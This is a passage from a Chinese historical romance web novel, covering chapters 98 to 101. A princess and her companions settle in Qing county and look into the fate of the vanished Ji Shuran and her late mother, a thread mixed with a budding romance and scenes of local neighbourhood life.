小姑娘一本正经摇头,“我姓薛,大名薛唐。是因为我娘在怀我时爱吃甜的,所以爹爹才给我取了小名糖糖。” 萧婧华逗她,“那你爹爹怎么不给你取名叫甜甜?” “对哦。” 小姑娘歪着脑袋,一脸疑惑,“为什么不叫我甜甜呢?” 萧婧华扑哧一笑。 隔壁马车,谢瑛推开窗,笑眯眯道:“小妹妹,你真可爱。” 薛唐眨眨眼,“哇”了一声,看着她和身后的云慕筱,“又是两个漂亮姐姐。” 她捂着通红的小脸,脑袋上的小揪揪一动一动,美得不行,“漂亮姐姐夸我可爱诶!” 众人纷纷被她逗笑了。 陆埕看着她,眼里漫出笑意,松开马缰翻身下马。 “糖糖,你在和谁说话?” 茶棚内走出一名女子。 她五官生得很是柔美,穿着与小姑娘颜色相近的襦裙,一眼便知是母女。 “娘,是漂亮姐姐。”小姑娘双眼弯弯,笑着与娘亲道:“给我糖葫芦的哥哥让我去找的漂亮姐姐。” 刚下马的陆埕瞬间警觉,“什么糖葫芦哥哥?” 第99章 萧婧华白他一眼,“你弟。” “阿旸?”陆埕微讶。 阿旸怎么了? 薛唐拉着娘亲过来,笑容灿烂,“娘亲快看,漂亮姐姐。” 唐岚抬头,一双温柔似水的眼睛打量着萧婧华,目光只落在她眉眼间,不会让人觉得不适,反而如沐春风。 “妾身姓唐,单字一个岚,这是我的女儿薛唐,不知姑娘是?” 萧婧华道:“唐夫人唤我婧华便是。” 不愿透露姓氏,甚至不屑于编造,这位姑娘的身份想必不凡。 唐岚笑意柔和,“婧华姑娘。” “姐姐,那你们呢。”薛唐仰着小脸看向隔壁马车。 谢瑛爽快道:“我叫谢瑛。” “云慕筱。” 唐岚问:“几位姑娘这是要去庆县?” 萧婧华点头。 薛唐兴奋道:“娘亲,漂亮姐姐们也要去我家耶。” 云慕筱失笑,“唐夫人是庆县人?” “是啊。”唐岚笑道:“这些年我随夫君奔波在外,他见我思乡心切,便携我们母女回乡住几月。” 萧婧华心头一动,“不知唐夫人可曾听过纪淑然这个名字?” “纪淑然?” 唐岚缓缓摇头,目光含歉,“抱歉,并无。” 本就是随口一问,萧婧华闻言也不失望,“多谢夫人。” 见侍卫们休整好了,她下令,“进城吧。” 薛唐蹦着问她,“姐姐,我去哪儿找你们玩啊。” 萧婧华托腮,“姐姐也不知道呢,我们要在庆县停留一阵子,还得租个院子。” 薛唐眼睛一亮,“姐姐,你们去我家吧。” “糖糖!”唐岚拧眉教训女儿,“不可无礼。” “娘亲,我没有无礼。”薛唐哼声,“你不是说姥姥姥爷给你留了整个巷子的房产吗?那你把我们隔壁租给姐姐们不就好啦。” 唐岚一惊,赶忙问她,“你这是从何处听来的?” 薛唐嘿嘿笑,“你和爹爹晚上说话的时候啊。” 瞧着唐岚涨红的脸,萧婧华眨眨眼,瞬间意会,她朝薛唐笑,“糖糖,家中有多少资产,可不能和外人说啊。万一有坏人想把你们的东西抢走怎么办?” 薛唐捂着嘴,两只眼睛瞪得大大的,猛地点头,拉着唐岚的手道:“娘亲,我知错了。” 唐岚脸上热度退却,摸了摸女儿的小脸,抬头道:“我家却有几间院子,不知姑娘可有意愿租赁?” …… 萧婧华打开窗透气。 楼下,陆埕正和孟年吩咐什么,后者点了头,转身出了客栈。 她倚在窗边,问道:“你让孟年去做什么了?” 听着熟悉的声音,陆埕抬首。 少女靠着窗,发如瀑布垂落,另一半形若灵蛇,上头点缀着牡丹金步摇,似灵蛇盘于花丛间,瑰丽灵动。 她半垂着眸,五官精致,肤若凝脂,安静倚靠时如壁上神女。 有风将落叶吹到她脸上,少女两指捻住叶子,嫌弃往下抛,眼尾轻扬,生动明媚。 陆埕看她片刻,抬步进屋。 萧婧华回身靠在窗上,安静等着。 “笃笃——” 直到敲门声响了四声,她才慢悠悠开了门。 陆埕站在门外,身形颀长,挺拔如松。 “谢姑娘和云姑娘云英未嫁,我不便与她们住在同一屋檐下,方才是让孟年去寻院子。” 进城后,萧婧华几人去看了唐岚家的院子,明亮宽敞,只是久无人居住,需要清扫几日。 付了定金,他们寻了间客栈,只等院子清扫干净再搬进去。 陆埕这么一说,萧婧华才发觉他和她们一起住并不合适,闻言“哦”了一声。 陆埕顿了片刻,“过两日,我要去周边县城,明日可要一同出去逛逛?” 萧婧华打了个哈欠,拒绝他的邀约。 “不去,我要补觉。” 这一路舟车劳顿,她精神不振,浑身懒洋洋的提不起劲。 瞥见她眼中疲惫,陆埕改口,“好,你那好好休息。” 下一刻,萧婧华“砰”一声关了门。 陆埕抿唇,下了楼,在人群中找寻箬兰的身影。 …… 三日后,萧婧华几人搬进了唐岚家隔壁。 侍卫们进进出出,来回好几趟才把东西搬进屋里。 时至傍晚,萧婧华立在院中,猛地一拍额头。 “遭了,忘雇厨娘了。” 这次出行她尽量轻车从简,除了侍卫以外只带了予安觅真箬兰三人,云慕筱和谢瑛更不必说,本就是负气离家,身边就只跟了一个谢春,这一路上吃住都是在客栈,直到此时她才意识到这个问题。 云慕筱皱眉望了眼天。 “只能明日去了。” 唐岚的院子够大,前院划给了侍卫们,后院只她们三人,一人一院未免太过空旷,索性都住一起了。 话音方落,箬兰喘着气跑了进来,“孟年送了三个厨娘过来,还有一大车新鲜菜,就停在门外。” 谢瑛大喜,“刚打瞌睡枕头就递来了,陆大人不错啊。” 萧婧华不情不愿道:“一般吧。” 瞧见她瞳孔中漫出的笑意,云慕筱低头一笑。 口是心非啊。 不过那三个厨娘终究没用上。 唐岚念着她们刚安顿好,诸事多有不便,特让人来请她们去用膳,甚至连侍卫们都考虑好了,叫了几大桌好酒好菜。 萧婧华举杯,“二位破费了,我敬你们一杯。” 唐岚的丈夫薛正身形健壮,五官虽端正,却有几分凶相,令人意外的是脾气却不错,闻言谦逊道:“相逢即是有缘,几位与小女投缘,相帮也是应该的。若我往后不在家中,还请几位帮忙照看照看内人与小女。” 谢瑛一口应下,“薛兄尽管放心。” 席上其乐融融,间或响起薛唐的笑声,可谓宾主尽欢。 萧婧华浅饮了两杯,回去时有些晕乎。箬兰尽职尽责地给三个主子喂了醒酒汤,伺候她们睡下。 萧婧华撑着脑袋,迷迷糊糊睡去。 好在她喝的不多,翌日醒来时没什么宿醉的症状,只是苦了谢瑛,昨夜与薛正喝得尽兴,现在还睡着。 正和云慕筱用着早膳,箬兰进来,脆生生道:“郡主,陆大人来了。” 萧婧华喝了口粥,“来就来呗,还得让我请他进来?” 陆埕请来的厨娘手艺不错,虽还未习惯庆县口味,但这粥却极鲜。 箬兰摇头,“他是来带您和云姑娘去纪夫人家的。” 萧婧华一怔,“这么快?” 昨日才安顿下来,他今日就找着地方了? 云慕筱听了放下粥碗,“那咱们快些,别让陆大人等急了。” 萧婧华嘟囔,“慌什么,让他等等怎么了。” 话虽这么说,动作却加快了几分。 留下箬兰照看谢瑛,萧婧华挽了云慕筱,带着觅真和谢春出门。 迈出大门,一眼便见到立在石阶下的陆埕。 素衫裹身,领口和袖口处绣着一圈青竹,腰间丝绦勾勒出劲瘦腰身,如圭如璋,风神散朗。 一旁停着马车,他抬睫看来,笑如朗月,“走吧。” 萧婧华脚步微停,拉着云慕筱钻进马车。 陆埕接过孟年牵着的缰绳,跨上马,在前头带路。 七拐八拐进了条巷子,马车进不去,谢春留下看守,其余几人步行入巷。 陆埕道:“婧华,有件事你要做好准备。” “什么?” 他轻声道:“纪夫人的母亲,已经不在人世了。” 萧婧华震惊,“她离世了,什么时候的事?” 陆埕摇头,“具体的我也不知,需得问问邻里。” 和云慕筱对视一眼,萧婧华点点头。 她又问:“你怎么知道的?” 陆埕指着某个方向,“我租的屋子与这儿就隔了一条街,附近的老人家或多或少清楚一二。” 说话间,他停下,“到了。” 萧婧华望着眼前的小院。 墙壁斑驳,大门掉了漆,上头结着好几个蛛网,有蜘蛛在网上爬动,像是许久无人居住。 萧婧华拉着云慕筱往后退了一步。 恰在这时,对面门开了,有个婶子端着盆出来,狐疑地扫了几人一眼,又看了看紧闭的大门,疑惑道:“你们是?” 陆埕上前交涉,“婶子,我们是纪淑然纪夫人老师家的小辈,听闻纪夫人失踪多年,正巧路过此地,想来拜访她的母亲。” “你们说这宅子以前的主人?” 婶子指了指对面,“她都死了好多年了。” 陆埕问:“婶子可知纪老夫人是何时故去的?” 婶子摇头,“我搬来不久,只听邻居说了两句,你们要是想打听这家人,去巷口的郭家,就前头大门最气派那家,听说郭家婶子当年和这家人交情不错。” 陆埕谢过,“多谢婶子。” 婶子悄悄看了他们两眼,正想倒掉盆里的水,往萧婧华和云慕筱衣裙上看了两眼,扭头换了个方向。 乖乖,那姑娘身上的衣裳还会发光,这得不少银子吧。 陆埕转身,“走吧,去郭家。” 萧婧华和云慕筱点头。 谢春正守着马车,见几人出来,刚思忖怎么这么快,便见陆埕敲响了隔壁房门。 她又坐回了车辕。 片刻后,门被打开,身着水蓝色短衣长裙的婶子皱眉瞧着几人,“你们找谁?” 陆埕作揖,“在下陆埕,想找郭家老夫人打听纪家之事。” “找我婆母?”郭家儿媳问:“你们和纪家是什么关系?” 陆埕道:“是纪夫人先生家的小辈,纪夫人失踪多年,长辈心中一直挂念,此次路过庆县,便想来打听一二。” 郭家儿媳思索片刻,将门打开,“进来吧。” 陆埕拱手,“多谢婶子。” 院里坐了个银发老夫人,择着菜和脚边的小孙子说话,见几个陌生人进来,正疑惑,听儿媳说起是来打听纪家之事,眼泪顿时从眼眶里涌出来。 郭家儿媳抚了抚婆母的背,“娘,您别激动。” 往里喊道:“闺女,快把你弟抱进去。” “诶。” 里头响起少女的声音。 她匆匆出来,目光好奇扫了一圈,抱着小弟进了屋。 等她进了屋,郭老夫人瞬间老泪纵横,“芳娘这一辈子,苦啊。年轻时嫁个男人不成器,成日只知喝酒斗鸡,不务正业,喝着喝着,竟是直接掉河里淹死了。” “丈夫死后,家里人让她改嫁,她带着年仅五岁的淑然嫁了,谁知那家人嫌弃她带个拖油瓶,背地里虐待淑然,不到几日,那小姑娘白白嫩嫩的手臂上被掐的全是青紫,怕娘担心,她硬是忍着没哭。” “后来芳娘发现,和婆婆打了一架,肚子里三个月的孩子就这么没了,听说芳娘坏了底子不能生,那黑心肝的一家休书一封,把她和淑然赶出家门。” 郭老夫人抹着泪道:“她月子都没坐稳,寒天腊月的,冻的人都快没了。可念着淑然,她硬是挺了过来,没日没夜地做工绣花,想着把淑然养大,给她攒嫁妆,几乎快把眼睛熬瞎了。” “淑然争气,靠着偷听私塾先生讲课,学了不少字,夜里拿着竹子和鸡毛练字,写得成样了,就跑到书铺求掌柜收下她。” “那掌柜心善,给了淑然活计,芳娘的日子总算是轻松了不少。” 郭老夫人颤抖着放下手,郭家儿媳坐在一旁替婆母拍背,她缓了口气,接着说:“后来书铺里来了个贵人,见淑然天资好,想收她为徒,芳娘本来是不愿的,可淑然跪着求她,她说,只有她学了本事,以后才能让娘过好日子。芳娘拗不过她,哭着送她离开。” “淑然每次寄信回来,芳娘都能高兴好一阵,高兴过后,她又开始日夜接活,她说淑然在长身体,吃的多,总不能一直靠先生养着。” “淑然每隔两年会回来看望芳娘,每次回来,这身上的劲啊,都不一样。邻里邻外都说,淑然往后啊,一定是个有大本事的,芳娘听了乐得两晚上没睡着。” 郭老夫人面带回忆,“我记得,那大概是二十多年前,淑然回来后芳娘来找我,她说淑然的先生给她在京城找了个活计,等她安顿下来,就接她过去。那可是京城啊,皇帝老爷脚底下,听说遍地是权贵,吃的比黄金还金贵。芳娘又是骄傲又是担忧,生怕给淑然添麻烦。” “可没过几日,淑然就不见了。” 泪水从郭老夫人眼眶中落下,她哽咽道:“芳娘疯了一样地找,翻来覆去地找,就是找不见。官也报了,邻居也帮忙找了,可淑然就跟人间蒸发一样,活生生的不见了。” “有人说淑然跟男人跑了,也有的说她遭遇不测,被人毁尸灭迹,早就死了。芳娘听了,这精神劲一下就散了,人也病倒了。淑然这孩子孝顺,若非出了意外,她不可能不回家。我想啊,她该是没了。” “没两年,芳娘就走了,临走前嘴里一直念着淑然的名字,瞪大眼睛握着我的手,说淑然来接她了。” 郭老夫人拍着膝盖,哭道:“芳娘她死不瞑目啊!” 小院里回荡着郭老夫人的哭声,郭家儿媳忙进屋给她倒水,陆埕接替她的位置,轻轻拍她的背。 一杯水下肚,郭老夫人缓了口气,可眉间的精神也散了。 她拉着陆埕的手,乞求道:“我看你这后生是个有本事的,你能不能,帮忙找找淑然?哪怕是尸骨,也让她们母女在地下团聚。” 陆埕掌下收紧,反手握住她,沉声道:“老夫人放心,我一定尽力。” 得了这声回应,郭老夫人眼里涌出了泪,用力握着陆埕的手,含着哭腔道:“好,好啊。我替芳娘谢过你们。” 离开郭家,萧婧华和云慕筱心情沉重,眼眶泛红。 “纪夫人恐怕……当真遇到不测了。” 萧婧华没出声,交给孟年一袋银子,“你去买些补品,给郭老夫人送去。” 孟年应道:“好。” 云慕筱轻声问:“接下来去哪儿?” 陆埕道:“去祭拜祭拜纪老夫人。” 方才他已经将纪老夫人安葬之处打听清楚了。 萧婧华和云慕筱无异议。 买了祭品,觅真驾着马车出城。 纪老夫人葬在城外山上,离官道不远,想必是郭老夫人念着她思念爱女,心里存着妄想,想着若是纪淑然回来,她第一时间便能知道。 陆埕摆上祭品,三人在坟前静立。 冥币燃起的火光映着眉眼,纷纷凝重。 最后一丝火光被吞灭,萧婧华道:“走吧。” 云慕筱点头,转身的刹那,余光瞥见某处,霎时顿住。“这是什么?” 第100章 云慕筱蹲下身,挽起袖子,从墓边落叶中拾起一物。 白色纸张,带着被火烧过的痕迹。 萧婧华迟疑,“这是……冥币?” 云慕筱张手,由着风将手中余烬吹走。 “不错。” 萧婧华掏出帕子给她擦拭指尖,望了眼方才几人烧冥币的位置,“是郭家人来祭拜过?” 陆埕摇头,“郭家人也不过是逢年过节来一次,清明已过,方才那张残币,倒像是前两日的。” 这就奇怪了。 萧婧华正想把弄脏的帕子丢掉,忆起承运寺一事,皱眉将它叠起,“那这是何人留下的?纪老夫人的亲戚?” 陆埕仍是摇头,“纪老夫人被休后,纪家亲眷早已把她逐出家门,不可能祭拜。” “总不可能是纪淑然吧?” 萧婧华说要,摇头否决,“若是纪淑然,她不可能不露面。” “别想了。”云慕筱握住她手,“先回去吧。” 萧婧华按捺住好奇,点了点头。 回到县城,几人正要分道,陆埕敲开了车窗,“婧华,你随我走一趟吧。” 萧婧华仰脸望他,“做什么?” 陆埕抿唇。 “不说我走了。” 说着萧婧华便要关窗。 陆埕忙把窗摁住,目光往后一递,云慕筱默默转开脸,捂住耳朵。 含着赧然清了清嗓子,陆埕低声道:“我明日便要走了,有东西要交给你。” 萧婧华:“现在给不行?” 陆埕无奈,“东西不在身上。” “好吧。” 她不情不愿应声。 予安停下马车,把缰绳递给谢春,随后跃下车辕,扶萧婧华下来。 足尖方落地,一只修长手掌落在眼前。 他的手比她大得多,肤色似玉,掌心宽厚,纹理清晰。 萧婧华把手放上去。 握住她的手收紧,将她拉到马上,如高山雪水般清冽干净的气息瞬间将她包围。 陆埕拥着她,手臂若有似无擦过她的腰,带来轻微痒意,让萧婧华下意识收腰,挺直腰背,与他隔开距离。马车从旁路过,云慕筱的声音响起,“婧华,我先回了。” 没说让她早些回来的话,谢春驾着马车飞快从身边跑过。 萧婧华:“……” 身后胸膛微微震动,陆埕喉间含糊发笑。 萧婧华回头瞪他,“笑什么,还不快走。” “遵旨。” 不同以往的清润,低沉磁性嗓音在耳畔传开,隐隐含着笑意,萧婧华后背一麻,白皙耳根以肉眼可见的速度染上薄红。 她恼羞成怒拧了把陆埕小臂,“赶紧走。” 陆埕反手将她的手收拢,牵引着她握住缰绳,一夹马腹。 “好。” 陆埕租的屋子果真只与纪家隔了一条街,将马丢给孟年,他引着萧婧华进屋。 一进的小院对萧婧华来说极为逼冗,好在被收拾得很干净,否则她保准掉头就走。 提着裙子跟在陆埕身后,萧婧华四处看了看,“那些衙役呢?” 陆埕道:“在隔壁。” 赁房的时候便想着萧婧华或许会来,她一定不会乐意踏足男人太多的地方,陆埕索性与他们分开住。 果然,萧婧华听了之后面上满意了几分。 陆埕的屋子很是简陋,只有简简单单的床、柜子和镜子,除了床上有被褥,冷冷清清的几乎看不出住了人。 陆埕本想给她倒茶,一抹茶壶,指尖冰凉,直接放弃,转身从柜子里取出一个布包。 “这是什么?” 陆埕把东西打开,露出里边的十来个瓷瓶。 “不是怕苦?我特地找箬兰要了方子,让大夫连夜把药制成了药丸。” 低垂的长睫鸦羽般颤动,萧婧华指尖点着瓷瓶。 足足有十二个,也不知弄了几日。 她故作嫌弃,“药汤药丸,不都是药?该苦的还是会苦。再说了,你弄这么多,是生怕我不寐的症状好不了?” 陆埕道:“药丸好服用些,晚间若是能睡着了,多的丢了就是。” 萧婧华轻轻一哼,“这可不像你。” 她抬眸,目光盈盈若秋水,理直气壮,“我今晚不想要药丸。” 陆埕好脾气问:“那想要什么?” 萧婧华微微红脸,咬咬唇道:“你那什么避子药带了吗?” 陆埕微怔,“什么?” 萧婧华面上发烫,瞪着他道:“我不要药丸,要你。这下总该听懂了?” 眼前的少女目光含羞,却大胆地直视他,芙蓉面上缀满红霞,明艳不可方物。 陆埕听懂了。 他深吸气,缓缓从腰间取出瓷瓶,从里倒出药丸塞进嘴里,直接咽了下去。 萧婧华不可置信,“你、你怎么还随身带着?!” 喉咙滚动,陆埕轻笑,看着她的目光微热,似带了火。 “不知郡主何时召寝,总该备着些。” 这样的目光,萧婧华很少见,起码离了床榻几乎没有。 她撑着桌面的手微微发软,在陆埕靠过来时揽住他的脖颈,缓缓抬起下巴。 这小院隔音不好,萧婧华依稀听见细碎的说话声。 她头发都被撞散了,还得一手捂着嘴,不让声音泄出。 忽然,有母亲唤孩子回家吃饭,嗓音穿透墙壁与窗棂,清清楚楚传入萧婧华耳中,令她紧张一缩。 身后人发出一声闷哼,萧婧华反手捂住他的嘴唇,红着脸低声道:“不准出声。” 陆埕无奈,一手揽在她腰上,另一手捉住她的手,滚烫唇瓣覆在她耳侧,低低喘着气,“是你先……” 萧婧华的脸越发红了,扭头就要瞪他。 触及镜子里不堪入目的画面,她针扎似的立马挪开视线,脑袋后仰靠着陆埕的肩,眼里被撞出一汪又一汪春水。 …… 夜半时分,萧婧华浑身无力躺在床上。 陆埕推门进来,把碗放在一旁,将她扶起靠在自己肩上,低声哄道:“吃完再睡。” 萧婧华撩起眼皮看他一眼,懒懒的,“没力气。” 陆埕挑起一著面条,轻轻吹了吹,喂在她唇边。 她张口吃了。 一碗面下肚,萧婧华眼睛都快睁不开,被陆埕放下时,几乎是沾了枕头就睡着了。 陆埕握住她手腕,正要往被子里放,指腹触碰到某处时蓦地一顿。 他垂眸,一下一下摩挲。 白皙滑腻的肌肤上烙着牙印,像是染在素色白衫上的污渍,怎么也去不掉。 陆埕将萧婧华的手腕放至手边,轻轻张唇。 齿尖刚触碰到肌肤,触及她泛着薄红的睡颜,他在心中一叹,怜惜不忍。 好不容易睡这么香。 在萧婧华腕上落下一吻,陆埕将她的手放进被中,端碗出去。 收拾妥当,陆埕回到床边,给床上少女掖了掖被子,靠着床柱闭目休憩。 天亮时,他睁眼,拨开糊在萧婧华脸上的发丝。见她正在酣睡,他没打扰,轻手轻脚出了门。 洗漱过后,觅真和孟年正在外等着。 陆埕叮嘱,“好好看着她,等她醒后送她回去。” 觅真点头,“属下知道。” 最后看了眼里屋,陆埕翻身上马,带着孟年离开。 …… 萧婧华醒来时已是日上三竿,窗外鸟鸣不绝,扰人得很。 屋内无人,陆埕已经走了。 她抱着被子坐在床上发呆。 真是奇了怪了,每次和陆埕做那事都能睡个好觉,这是什么缘由? 乱七八糟想了一通,将这归咎为是她太累了,萧婧华慢悠悠爬下榻。 昨日的衣裳被折起放在枕边,她有些嫌弃,可此地也没她的衣裳,只能皱眉穿上。 拾起桌面上的木梳,忆起昨夜在此处发生的事,萧婧华面上烧得慌,快速把头发梳通。 桌上整整齐齐地放着她昨日发上的首饰,箬兰不在,她不会梳复杂的发式,只随意挑了支金簪,将一头乌发绾在脑后。 门外忽然响起觅真的声音,“郡主起了?” 萧婧华“诶”一声,走去开了门。 觅真站在门外,一手端着盆,一手拎着纸包,“我给郡主买了早膳,吃完再回吧。” 萧婧华头点到一半,倏尔意识到什么,“你昨夜在哪儿歇的?” 觅真指了指对面屋檐,“孟年要把他的屋子让给我,我没要,在那儿将就了一晚。” 离得那么近,意思是说,昨晚他们在这屋子里做了什么,他们都知道? 萧婧华脸色瞬间发红。 觅真目不斜视进屋,拧了帕子递给萧婧华,默默道:“陆大人这儿可真吵。” 萧婧华愣愣的,“吵?” 觅真点头,“附近太吵了,各种声音都有,我都没歇息好。” 这么多声音,他们又忍着没出声,想来该是听不见的,萧婧华松了口气,接过帕子盖在脸上,“回去再让你好生睡一觉。” 觅真偷偷觑她一眼,重重“嗯”声。 吃了饭,觅真带着萧婧华回府。 陆埕走时替萧婧华雇了辆马车,就在不远处停着。 觅真去赶马车,萧婧华在原地等着,目光百无聊赖地转了一圈,蓦地被隔壁门槛上坐着的一道人影吸引。 那人穿着一身褐色布衣,头发散着,看不清面相,怀里抱着个布娃娃,低头念念有词,听不清说的什么。 好奇之下,萧婧华往前走了几步。 “……娘,今天想吃什么呀,乖宝给你做了馄饨。娘不知道馄饨是什么?馄饨是,馄饨是……对哦,馄饨是什么?” “娘,娘……” “娘……?你怎么不应我?” 那人自言自语,抓起一坨泥往布娃娃嘴里塞,见塞不进去,动作语气变得格外急躁。 “娘,你怎么不吃,你吃啊,为什么不吃!” “不对,不对!你不是娘,你是老虔婆,是杀千刀的老虔婆!” 她忽然把布娃娃扔下,发疯一般狠狠踩上去。 两侧的头发散开,萧婧华看清她的模样,吓得心脏一缩。 那人面容极为苍老,两颊上各有一道刀伤,从颧骨延至下颌,眼球猩红,极为可怖。 她拉扯着头发,面色痛苦狰狞,恶狠狠踩着脚下布娃娃,嘴里骂骂咧咧。 “老虔婆,去死!去死!给我去死!” 嗓音尖利刺耳,一声比一声高,尤其是那个“死”字,凄厉中含着无尽的憎恶。 萧婧华被吓住了,脚步不觉后退。 脚下踩中石子,她脚步一滑。 有力的手稳住她的背,觅真疑惑,“郡主?” 待看清面前发疯之人,她瞬间警觉,将萧婧华护在身后。 见到觅真,萧婧华心中稍安,摇头道:“无事。” “给我去死啊!!” 她骂着骂着,眼泪落了下来,哭嚎着道:“老虔婆,赖皮鬼,你们会下十八层地狱的!!!” “大清早的鬼叫什么?!” 身后的门开了,面相有些刻薄的中年妇人站在门口,对着那人大骂,“一天到晚死死死的,你怎么不去死!烦死了!” 又有几扇门开了,有人劝道:“她没惹你,你何必呢,积点口德吧。” 妇人大骂,“怎么没惹?我好生生在家炒豆子,她忽然大喊大叫,我手都烫红了,这算谁的?!” “算我的,算我的。” 门内有个面容俊秀的年轻人匆匆走来,甩了甩手上水珠,半抱着疯婆子,口中劝道:“好好好,别怕,他们都死了,都死了,不会有人再欺负你。” 妇人靠着门,眼珠转了转,举起烫红的手,“许三,赔我诊金,这可是你说的。” 许安连连点头,“婶子放心,我一定赔。” 周围邻居纷纷责怪。 “安子,你别烂好心,你婶子的病还得吃药呢,就那点伤,都不用明日,下午就好了。” “是啊,你说你,安婶是个可怜人,你和她计较什么?” 妇人懒得听这些话,一翻白眼,转身“砰”地把门关上。 安婶在许安的安抚下渐渐平静,他抽出心神答谢,旋即看向萧婧华。 愣了愣,许安忙道:“抱歉,我婶子方才没吓到你吧?” 萧婧华摇头。 “实在对不住,对不住。”许安歉疚地笑了下,哄着安婶进了门。 大门逐渐关闭,旁边有个姑娘见萧婧华皱着眉,小跑过来,满脸的歉意,“安婶她不是故意的,她刚才要是吓到你了,我替她向你道歉。” 姑娘瞧着十五六岁的年纪,面容姣好,白里透红,嫩的跟朵花似的。 萧婧华迟疑,“她患了病?” 姑娘摇摇头,“我们也不清楚,安哥是在五年前才带着安婶来这儿的。听他说,是安婶的丈夫和婆婆对她不好,那两人死后,安婶就病了。” 她悄悄道:“有人背地里说安婶不是病了,是疯了,可安哥一直称他婶子只是生了病,隔三差五就去给她抓药。” “是啊,要不是安子家里有个婶子,照他的样貌本事,怎么可能到现在还打着光棍。” 有人附和,“可不是,要我说,一个婶子而已,又不是亲娘,安子何必这么尽心尽力,把她往城外一扔,这肩上可不就轻松了?” “你胡说八道什么呢!” 姑娘瞪着说话的汉子,气得面色通红,“那是安哥相依为命的婶子,你怎么能这么冷血!”“是啊,这也太没人性了。” 那汉子不服气,嘴里嚷嚷着,“我怎么说错了?不孝有三无后为大,许安念着他婶子,怎么不念念他死去的亲爹亲娘?这要是没姑娘嫁给他绝了后,他就是对不起列祖列宗!” 姑娘气得红了眼,冲上去和他对峙,“你别以为我不知道,你看不上安婶,又见安哥有本事想把姑娘嫁给他,就在这儿出黑心肝的坏主意,哪天安婶要是出了意外,保准是你干的!” 汉子大怒,“死丫头说什么呢!我看是你看上许安了吧?年纪轻轻就思春,你怎么这么不要脸!” 姑娘含泪大声反驳,“我就喜欢他怎么了?我堂堂正正光明正大,不像你们,就是阴沟里的臭老鼠!” 汉子气得脸红脖子粗,蓦地扬手。 蛮横的女声插了进来,“鲍老四你个不要脸的,你敢动我姑娘一下,老娘跟你拼命!” 眼看局势混乱,觅真急忙护着萧婧华上了马车。 “郡主坐稳了。” 萧婧华道:“好。” 觅真一扬马鞭,口中斥道:“让开!” 人群往两侧避让,让出道来,觅真驾马离开。 100-107 第101章 萧婧华回去时谢瑛在院里舞枪。 扎着马尾的少女身姿矫健如豹,红色发带舞动,长枪似银龙入云,银光闪现,飒飒英姿。 另一侧,清丽脱俗的少女坐在石桌前,如玉长指提笔,垂眸细细将舞枪的少女绘入画中。 脚步声响起的第一瞬间谢瑛便注意到了。 她挽了个枪花收势,银枪拄在地面,摸了把额上细汗,对萧婧华笑得灿烂,“回来了。” 云慕筱笔未停,趁着空闲抬头望了萧婧华一眼,笑道:“瞧你衣裳都皱了,快去换了吧。” 萧婧华低头看了眼,面上薄红,匆匆进屋。 “好。” 正在屋里收拾的箬兰面色惊喜,“郡主回来了。” 萧婧华道:“备水,我要沐浴。” 箬兰“诶”一声,忙去准备。 舒舒服服沐浴完换了身干净衣裳,萧婧华偏头擦着头发,朝着窗外喊了一声。 “予安。” 碧云之下,院外榆树苍绿葳蕤,树枝支出墙头延伸至院内。 树冠沙沙作响,有道人影从树上跳下,跃至窗前。 “郡主有何吩咐?” 萧婧华将长发包在帕子里揉搓,“去把影六影九和影十七叫来。” 予安点头,“是。” 她速度快,萧婧华一张帕子没擦完,三道人影便站在了外间,隔着珠帘与她行礼。 “属下见过郡主。” 这几个都是萧长瑾派给她的暗卫,离京这段时间任由她差遣。 萧婧华扫了一眼。 这三人和予安觅真有个相同点,那便是相貌并不出众,甚至归于平凡,走在人群中就如入了水的雨滴,吸引不了任何注意。 萧婧华沉吟,“邵嘉扬那边谁在联系?” 邵嘉扬是邵嘉远的弟弟,据说是宣远伯最为宠爱的妾室所生,极为受宠。 影十七道:“禀郡主,是属下。” 萧婧华问:“他现在在何处?” “邵嘉扬比我们率先进入营州地界,先是去了府城,随后又去了周边县城,现下正在宏县。” 萧婧华道:“让人把他盯紧了,有任何风吹草动都需上报。” 影十七道:“是。” 萧婧华转向影九,“你去打听纪淑然的下落。”顿了瞬,她道:“无论生死。” 照现下的情形看,纪淑然生还的可能性极小,她有些失落惋惜。纪老夫人念了她一辈子,若是能找到尸骸,让她们母女团聚也是好的。 影九道:“属下这就去。” 二人退下,萧婧华皱眉望着影六。 手上一松,半湿长发垂着肩上,将单薄衣衫染湿。 影六不敢逾距,垂眸听命。 半晌,便听珠帘内尊贵的主子轻声道:“你去查查,这县城里可有异常。” 影六不解,“郡主的意思是?” 萧婧华将湿帕子扔在榻上矮桌上,揉了揉酸软的手腕,漫不经心道:“比如,可有人对朝廷有不臣之心?又或者,有人暗中谋逆?” 影六一惊,心中掀起滔天巨浪,试探性问:“郡主可是已有怀疑?” 萧婧华耸肩,轻笑一声,“猜测罢了。毕竟庆县偏僻,一切皆有可能。” 她拿了张干帕子,细细擦着头发。 “先下去吧。” “是。” 影六起身,怀着隐忧退下。 人都走了,箬兰推门而入,接过萧婧华手里的帕子,将她一头乌发拢在手中。 她动作轻柔熟稔,萧婧华闭上眼,眉眼舒适。 “婧华。” 谢瑛不知从何处钻了出来,趴在窗上,双眼明亮似萤火,“糖糖那小丫头约咱们去逛县城,走吗?” 萧婧华懒懒道:“后日吧,身上不舒服,不想动。” 箬兰手上一顿,望着她颈后红痕红了脸。 “不舒服?要请大夫吗?” 谢瑛语气着急。 萧婧华猛然睁眼,笑容略显尴尬,“不用,想来是这一路舟车劳顿,累着了,我休息两日便好。” 在客栈的时候不是休息三日了? 谢瑛挠头不解。 对上她清澈疑惑的目光,萧婧华脸上发烫,唇瓣张阖,不知该如何搪塞。 “阿瑛!” 不远处的云慕筱唤她,“快来看我的画。” “就来。” 谢瑛扭头应了声,“那婧华你好好休息,糖糖那儿我先去回绝了。” 萧婧华红着脸点头。 等谢瑛走向云慕筱,萧婧华低头捂脸,藏在乌发下的白皙耳根通红一片。 …… 和薛唐约好那日,这小丫头起了个大早,拉着唐岚便往隔壁跑。 她年纪小精神劲足,萧婧华却有些萎靡。 药丸对她的作用不如陆埕好,又因中间停了二十多日的药,见效难免有些慢,不过听着薛唐叽叽喳喳的声音,倒是慢慢醒过神来了。 和京城比起来,庆县显得太过贫瘠。萧婧华起初还有兴致,走着走着便没了趣。 时至正午,薛唐拉着唐岚兴奋道:“娘亲,咱们去你说的那家店吧。” 唐岚瞧了几人一眼,颇有些迟疑,“这……” “那店有何不妥吗?”云慕筱问。 唐岚摇头笑了笑,“那店小,我是怕几位姑娘不适应,不过味道倒是不错,我未出嫁前常去光顾。” 谢瑛一听味道好,当即表态,“那咱们走吧。” 萧婧华自然不会拒绝。 